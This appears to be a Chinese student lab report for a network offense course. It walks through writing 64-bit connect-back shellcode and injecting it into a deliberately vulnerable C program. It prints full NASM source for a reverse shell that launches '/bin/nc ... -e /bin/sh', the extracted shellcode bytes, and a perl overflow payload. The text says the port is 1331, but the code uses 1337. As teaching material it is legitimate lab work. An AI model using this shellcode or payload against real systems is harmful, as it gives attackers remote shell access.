2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp1+ 逆向进阶

实验环境

  • 1、关闭堆栈保护
  • 2、关闭堆栈执行保护
  • 3、关闭地址随机化
  • 4、在Linux实践环境

实验任务

  • Task1 (5-10分)
    • 自己编写一个64位shellcode。参考shellcode指导。
    • 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。

实验过程

3.1 实验源码

3.2编写 .nasm文件

more pro1.asm 
; { Title: Shellcode linux/x86-64 connect back shell }

; Author    : Gaussillusion
; Len       : 109 bytes
; Language  : Nasm

;syscall: execve("/bin/nc",{"/bin/nc","ip","1337","-e","/bin/sh"},NULL)

BITS 64
xor     rdx,rdx
mov     rdi,0x636e2f6e69622fff
shr     rdi,0x08
push    rdi
mov     rdi,rsp

mov     rcx,0x68732f6e69622fff
shr     rcx,0x08
push    rcx
mov     rcx,rsp

mov     rbx,0x652dffffffffffff
shr     rbx,0x30
push    rbx
mov     rbx,rsp

mov     r10,0x37333331ffffffff
shr     r10,0x20
push    r10
mov     r10,rsp

jmp short ip
continue:
pop     r9

push    rdx  ;push NULL
push    rcx  ;push address of 'bin/sh'
push    rbx  ;push address of '-e'
push    r10  ;push address of '1337'
push    r9   ;push address of 'ip'
push    rdi  ;push address of '/bin/nc'

mov     rsi,rsp
mov     al,59
syscall


ip:
        call  continue
        db "127.0.0.1"

可以很清楚的看到ip地址127.0.0.1,端口1331

3.3 汇编

nasm -felf64 pro1.asm -o pro1.o

3.4 链接

ld pro1.o -p pro1

报错如下:

这是因为ld在将所有目标文件链接起来时,不知道程序的入口点在哪里。解决:给汇编文件添加 _start部分

global _start 

section .text

_start:

3.5测试汇编代码

3.6提取shellcode

x48x31xd2x48xbfxffx2fx62x69x6ex2fx6ex63x48xc1xef
x08x57x48x89xe7x48xb9xffx2fx62x69x6ex2fx73x68x48
xc1xe9x08x51x48x89xe1x48xbbxffxffxffxffxffxffx2d
x65x48xc1xebx30x53x48x89xe3x49xbaxffxffxffxffx31
x33x33x37x49xc1xeax20x41x52x49x89xe2xebx11x41x59
x52x51x53x41x52x41x51x57x48x89xe6xb0x3bx0fx05xe8
xeaxffxffxffx31x32x37x2ex30x2ex30x2ex31

  • 方法一:反汇编摘出有用部分

  • 方法二:xxd指令,找到代码段,复制出来

3.7 将提取出来的Shellcode做测试

3.8准备一个64位的可执行文件

3.9构造要注入的payload

  • 反汇编objdump -d main | more查看文件

  • 注意实验环境

    • 关闭堆栈保护
    • 关闭地址随机化
  • payload如下

perl -e 'print "A" x 64;print "x4x3x2x1x48x31xd2x48xbfxffx2fx62x69x6ex2fx6ex63x48xc1xefx08x57x48x89xe7x48xb9xffx2fx62x69x6ex2fx73x68x48xc1xe9x08x51x48x89xe1x48xbbxffxffxffxffxffxffx2dx65x48xc1xebx30x53x48x89xe3x49xbaxffxffxffxffx31x33x33x37x49xc1xeax20x41x52x49x89xe2xebx11x41x59x52x51x53x41x52x41x51x57x48x89xe6xb0x3bx0fx05xe8xeaxffxffxffx31x32x37x2ex30x2ex30x2ex31"' > input_shellcode

3.10修改攻击buf重新注入

资料参考

END

原文地址:https://www.cnblogs.com/ysz-123/p/12451830.html